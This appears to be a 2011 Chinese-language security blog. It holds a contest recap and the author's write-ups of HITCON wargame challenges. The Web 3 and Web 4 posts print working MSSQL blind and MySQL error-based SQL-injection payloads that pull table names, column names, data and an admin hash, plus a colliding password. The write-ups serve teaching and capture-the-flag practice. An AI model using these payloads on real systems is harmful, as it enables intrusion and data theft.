2011年12月10日 星期六
一百年度全國大專院校資安技能金盾獎 XD
Ya~ 冠軍!!!!
今年是參加的第二年,真的有比去年進步成為第一名了!!XD
隊伍名稱: [NISRA] 台科大分舵
這樣講下來好像台灣兩大資安競賽都拿過冠軍了 //flee
2009 HIT 駭客年會
2011 金盾獎
去年的隊友 Taien 碩士畢業了,今年只有我以及強者 allenown 組隊,比較起去年其實感覺人數真的有差,兩個人下去比已經快看不完 & 沒有時間去解所有題目了。
戰力分配大致如
Linux 題目交給 allenown
Windows 題目給我XD
Web , Forensic, Misc就一起玩XD
* 早上依然是傳統在麥當勞度過早餐時間XD
* 今年一樣在恆逸資訊教育中心十二樓,捷運南京東路站一號出口出來就到了,這邊勾起一堆回憶整個超難過Q____Q
* 今年很棒有聽到去年的牢騷,午餐是傳說中的麥當勞山!!!XDD
* 比賽時間五個小時(12:00 ~ 17:00),前兩個半小時完全是沒有分數掛蛋的XD
* 記分板會在比賽結束前三十分鐘關閉,以增加比賽刺激性,記分板關閉前照片XD
* 揭曉名次整個超緊張,跟交大 DSNS lab 爭奪一二名XD
* 喔喔還有贈品很不錯我好喜歡,一個滿大的手提袋XD
* 會後依然照慣例有個慶功宴這次在 Vegas Vegas ~
題目:
* 今年總題目數共 15 題
* 今年題目感覺還是以 Forensics 為大宗
* 兩個人比真的會發現題目做不完,有許多題目是我們根本都還沒看過去解的
* 今年多了幾題關於 Android 的題目,理所當然交給強者我隊友XDD
* 今年也多了幾題類似Capture the Flag的題目,提供你 Linux server 要你上 patch 以獲得key
* 經過兩個半小時,強者 allenown 解出題目五,終於破蛋了XD
* 有分數後就開始勢如破竹,整個緊張感都沒了一題一題解出來XD
* 其實應該分數可以再更高,題目四考的是資訊隱藏 Steganography,使用 Openpuff 解出來為一個 url.txt 的檔案,裡面是一個網址
* 誰會知道那個就是 key XDDD,如果取名為 key.txt 的話我就會把那串網址當 key 送QQ
* 題目三在最後似乎沒人解出所以提示大放送,給的提示幾乎就是解題的步驟,在 PE 可執行檔內多了一個奇怪的 section 叫做 .icst ,觀察一下可以利用 PE 的特性找出解密的 key
* 不過題目三解的方式好像跟題目沒關係XDDD
* 題目八考的是 SQL Injection,之前自己寫的 Orange Web Security Toolkit 派上用場超爽
* 打個廣告 Web Security Toolkit 目前 update 到1.2.6,已經修正許多穩定性以及通用性的 BUG ,有機會的話再 release 出來XD
* 題目六考的觀念與 2011駭客年會 wargame 其中一題相似,給出一個被加密起來的可執行檔,使用 repeat key 的 xor 加密。xor 的 key 不只一個 byte,所以不能使用暴力破解,但由於 PE 檔案各個 sections 都會以填 0 的方式填到固定大小,可以透過觀察的方式找出xor的key。
* 題目十二跟題目六也是同樣的觀念, 但是分兩個部分,第一部分可以透過 pdf 的 header 來發現 xor 的 key 是 "%PDF" ,接著會解出一個被內嵌 javascript 的 PDF 檔案,好在以前有玩過一些分析惡意文件的手法,經過兩三層的 Javascript 混淆可以得到 Key為~XD
* 題目十三超機車的, 脫殼完只差修復 IAT 表不過就已經浪費掉大半的時間了
* 題目十三, D_v_ 出來面對XDD
* 今年的題目出的還不錯,不過還是有幾題淪為到比較偏猜謎
* 感謝各位工作人員~XD
其實工具真的不用帶太多,基本有了就好
這次其實沒用到甚麼工具大部分都是透過 Python 寫幾行 code 就可以解出來
Reversing 逆向部分也只用到經典的 OllyDbg 以及 IDA pro
剩下的也只有自己習慣的 hex editor (010 editor) 以及慣用的瀏覽器就夠了XD
YA冠軍 ^_____<
[ 照片暫時移除XD ]
2011年8月27日 星期六
關於SQL Injection的那些奇淫異巧
Google docs link
By Orange@chroot.org
1. Error base SQL injection in MySQL
2. Deep Blind SQL injection
3. MySQL triggers exploit - A injection can run system command.
有錯誤請指教 :P
2011年7月25日 星期一
台灣駭客年會 HITCON2011,Wargame Web 3出題心得 & 解法
心得:這題出現的形式以及解法都是Real case in real world的,整個網站很安全都用Prepared statement保護SQL sentence,但是插入column name的時候就不能使用Prepared statement了,整個網站很安全剛好被我遇到這個地方,當初遇到時想了一下認為無法利用,但後來思考了一下查了一下msdn SQL server的一些用法找出了利用方法,覺得很有趣於是把它變成了題目。
題目是一個網址
/GetEvent.asp?s=b.__name
顯示的是一個空白頁面
/GetEvent.asp?s=b.__name'
顯示 500 Error,不會吐露錯誤訊息
當SQL語法出錯時出現500,其他正常查詢不論有無資料皆回傳空白頁面
整個設計的SQL sentence大致如下
sql = "Select a.__id, " + s + ", c.__user, d.__pwd, e.__mail from _id as a, _name as b, _user as c, _pwd as d, _mail as e"
s是可以插入的地方
b是 alias的 table name
__name是column name
在不知道整個SQL語句的狀況下
一般的SQL server爆錯 -> 不行,因為不會顯示錯誤
偽造整個SQL並在後面註解 -> 不行,因為不知道s前面alias 的name,偽造不出來後面的語句,等於封死了註解XD
Blind injection -> 無論SQL select出來有無資料,皆顯示空白頁面
Time base -> Wait for關鍵字不能用在這個地方,本來想用Heavy query延長時間但用在這個地方會失敗
後來考慮了一下是否可以穿插一個判斷式,假如是false的話執行一個會讓SQL出錯的語句(Ex cast('a' as int)),但MSSQL沒有if的函數只有isnull,但是isnull接在那個地方會有問題所以後來使用了case-when的語法
插入如
(select top 1 case len(name) when 3 then cast(user as int) end from sysobjects where xtype='U')
當column name的長度等於三時會顯示500 error,否則則顯示空白頁面
這時我們有了正確與錯誤的判斷標準,整個 Injection又回復到Blind上面了XD
接著可以慢慢將 table name, column name以及資料列舉出來。
(select top 1 case len(name) when 3 then cast(user as int) end from sysobjects where xtype='U')
取table name長度
(select top 1 case ascii(substring(name,1,1)) when 95 then cast(user as int) end from sysobjects where xtype='U')
取table name資料
(select top 1 case len(col_name(object_id('_key'),1)) when 5 then cast(user as int) end from sysobjects)
取column name長度
(select top 1 case ascii(substring(col_name(object_id('_key'),1),1,1)) when 43 then cast(user as int) end from sysobjects)
取column name資料
(select top 1 case len(__key) when 25 then cast(user as int) end from _key)
取資料長度
(select top 1 case ascii(substring(__key,1,1)) when 83 then cast(user as int) end from _key)
取資料內容
整個流程大致到這裡拿到key並且結束。
如果有更好的方法歡迎交流提供 :)
2011年7月24日 星期日
台灣駭客年會 HITCON2011,Wargame Binary 3出題心得 & 解法
心得:很久以前就想出一題類似要輸入↑ ↑ ↓ ↓ ← → ← → B A會跳key的題目了XD
題目下載點 from rsghost
小時候的回憶,特訓99 XD
用UPX加殼過後有改過OEP,For fun,讓檢測殼軟體(Ex: Peid)混淆XD
很簡單的殼,脫殼可以靠ESP定律,或者看得出是UPX直接bp popad可以找到最原始的OEP
這個遊戲其實有DEBUG MODE的,開啟原始遊戲後可以用Winhex或者Dump memory觀察到
reset
another
omitback
simpleback
fullback
chicken
quit
butterfly
maniac
paranoia
booston
off
paranoiamax
hequil
basia
quti
version
test
slow
love
desu?
有這些指令可以使用,這題透過修改其中一個的字串以前對應的函數來出題
只要在遊戲開始輸入
c (倒退鍵) a (倒退鍵) (倒退鍵) b (倒退鍵) (倒退鍵) (倒退鍵)
就可以取得Key
開啟遊戲時會將DEBUG String xor解碼,所以未執行直接觀察原始檔會找不到有甚麼有意義的字串
位置在 0x00401242,xor的key是0xff
這題的解法當初是設想需要Condition BreakPoint Message Queue的 KeyDown Event來進行Trace
追的過程中會發現修改了0x0040394A改成了一個長jmp
這題還滿多人解出來的XD
不過應該都不是用靠輸入key的方式 :P
台灣駭客年會 HITCON2011,Wargame Web 4出題心得 & 解法
心得是現在大多數的人對於SQL injection (Mysql)都是union加上information_schema取得資料
但是並不是那麼的簡單,SQL injection其實是一門非常深的學問,就出了這題XD
這個方法最早是在大陸的文章看到,後來有分析到國外的一套SQL自動化攻擊工具havij,裡面也有用到類似的方式。
一個登入介面,題目是
If you can login, You can get the key.
登入畫面
可以明顯發現確認使用者的頁面存在SQL injection
也可以發現
不能使用union --> 因為只會顯示True or False,不可能列出任何資訊
不能使用Information_schema --> 假想環境是在mysql4上面運行,在Mysql4以前沒有這個資料庫,這題是我自己patch mysql主程式所以使用不了information_schema查table name以及column name
不能使用blind injection or time base injection --> 因為無法取得column name不能取得資料
但是,發現他是Error base的Injection。
可以利用Duplicate column name的方式來注入
Example:
在Mysql Commandline下輸入:
Select * from (Select 1,1) as a
會顯示
ERROR 1060 (42S21): Duplicate column name '1'
利用Error base的方式像SQL server一樣可以把想要的資料出現在錯誤訊息中。
但是要利用這個爆出非CONST以外的還需要配合NAME_CONST這個函數來達成
For Example:
但是NAME_CONST在Mysql 5.1後被Update了不能使用非常量CONST以外的參數,但是還是有其他的方法的,有興趣可以自己去Google這裡就不詳談了 :P
所以可以利用以下的方式爆出 Column name
id=test' and (Select * from (Select * from users as a join users as b) as c) and ''='
id=test' and (Select * from (Select * from users as a join users as b using(column name)) as c) and ''='

wpw_d7862549d4ed8f82
wpw_d7862549d4ed8f82
繼續利用NAME_CONST爆出其中的資料
Example:
可以取得
admin / 0b79f46808458afb
在登入頁面的地方也可以發現輸入單引號也會顯示SQL error,仔細觀察會發現是使用Mysql的old_password來對密碼進行加密。
在Mysql4以前password儲存的方式是透過old_password這個函數進行加密的,實際上這個加密方式存在弱點能被很快速的碰撞(Collision)出來
網路上可以找到現成的工具,約20~30分鐘可以撞出一組hash值與上面一樣的密碼
我自己碰撞的結果是這組
Select old_password('!H6~a`"~H\\DN>');
出來的結果與上面的hash值是一樣的,所以使用admin / !H6~a`"~H\DN> 即可登入取得Key。
:P 解題愉快XD
沒解出來至少有學到新東西吧 :P
有機會再把出的另外一題Web以及Windows Binary解題過程寫出XD
訂閱:
文章 (Atom)











